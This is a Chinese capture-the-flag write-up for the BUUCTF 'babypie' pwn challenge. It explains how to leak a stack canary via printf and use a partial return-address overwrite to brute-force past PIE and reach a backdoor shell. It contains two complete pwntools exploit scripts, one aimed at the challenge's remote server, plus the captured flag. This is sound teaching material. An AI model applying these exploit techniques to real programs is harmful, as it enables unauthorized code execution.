【BUUCTF】linkctf_2018.7_babypie1
收获
通过栈溢出覆盖 canary 最后一字节
b'\x00'
,再利用printf()
将 canary 的余下七字节输出,从而绕过 canary 保护利用
partial write
漏洞爆破 PIE 地址随机化
【BUUCTF】linkctf_2018.7_babypie1
思路
分析文件:
权限都开了
在 IDA 下分析:
观察 buf
在栈中的情况:
在 buf
处存在溢出,不过有 canary 保护
查看字符串:
存在 "/bin/sh"
发现后门函数:
第一个输入 read(0, buf, 0x30uLL)
虽然无法溢出,但是 printf("Hello %s:\n", buf)
可以打印出 buf
的内容
由于 canary 的最后一字节为 b'\x00'
,会截断 printf()
的输出
因此可以考虑控制 buf
的长度,将 canary 的最后一字节 b'\x00'
覆盖掉,于是 printf()
就会将 canary 的内容输出出来
获得 canary 的值之后就可以通过第二个 read(0, buf, 0x60uLL)
来溢出了
但是程序开启了 PIE 地址随机化,因此 0xA42
并不是后门函数的真实地址
不过由于 partial write
(部分写入)的原理,地址的后三位与真实地址是相同的
也就是说真实地址是 0xnA42
,n
未知,但 n
取值在 0 ~ 15
之间
所以可以进行暴力破解真实地址(或者直接使用 0x0A42
进行碰撞,有概率碰撞正确)
另外,由于后门地址和 ret_addr 的地址只有后两位不一样,所以覆盖返回地址的时候直接填上 b'\x42'
也可以,只修改地址的最后两位
脚本一
from pwn import *
context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
content = 0 # 本地Pwn通之后,将content改成0,Pwn远程端口
if content == 1:
io = process("/home/wyy/桌面/PWN/linkctf_2018.7_babypie1/babypie") # 程序在kali的路径
else:
io = remote("node4.buuoj.cn", 25143) # 题目的远程端口
io.recvuntil("Input your Name:\n")
payload = b'a' * (0x30 - 0x8 + 0x1) # 0x30 - 0x8 到达 canary 的地址,0x30 - 0x8 + 0x1 为 canary 的最后一字节 b'\x00' 的地址
io.send(payload)
io.recvuntil("Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
tmp = io.recv(7) # 接收 printf 输出的七字节 canary 数据
canary = b'\x00' + tmp # 加上最后一字节 b'\x00' 补齐 canary
print("canary:", canary)
payload= b'a' * (0x30 - 0x8) + canary + b'a' * 0x8 + b'\x42'
io.send(payload)
io.interactive()
结果一
flag{06ccfdaa-2392-4671-b0c0-5fb5bdf5c8cd}
脚本二
from pwn import *
context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
content = 1 # 本地Pwn通之后,将content改成0,Pwn远程端口
if content == 1:
io = process("/home/wyy/桌面/PWN/linkctf_2018.7_babypie1/babypie") # 程序在kali的路径
else:
io = remote("node4.buuoj.cn", 25143) # 题目的远程端口
io.recvuntil("Input your Name:\n")
payload = b'a' * (0x30 - 0x8 + 0x1)
io.send(payload)
io.recvuntil("Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
tmp = io.recv(7)
canary = b'\x00' + tmp
print("canary:", canary)
# 爆破后门函数地址
address = b'\x42'
for i in range(16):
address += bytes([0x10 * i + 0xa]) # 构造 b'\xia',即 address = p64(0xia42)
payload = b'a' * (0x30 - 0x8) + canary + b'a' * 0x8 + address
io.send(payload) # 注意不能用 sendline,不能添加换行符
io.sendline(b'whoami')
s = io.recvline()
if b'wyy' in s:
print("地址爆破成功:", address)
break
else:
address = address[:-1]
continue
io.interactive()
结果二
评论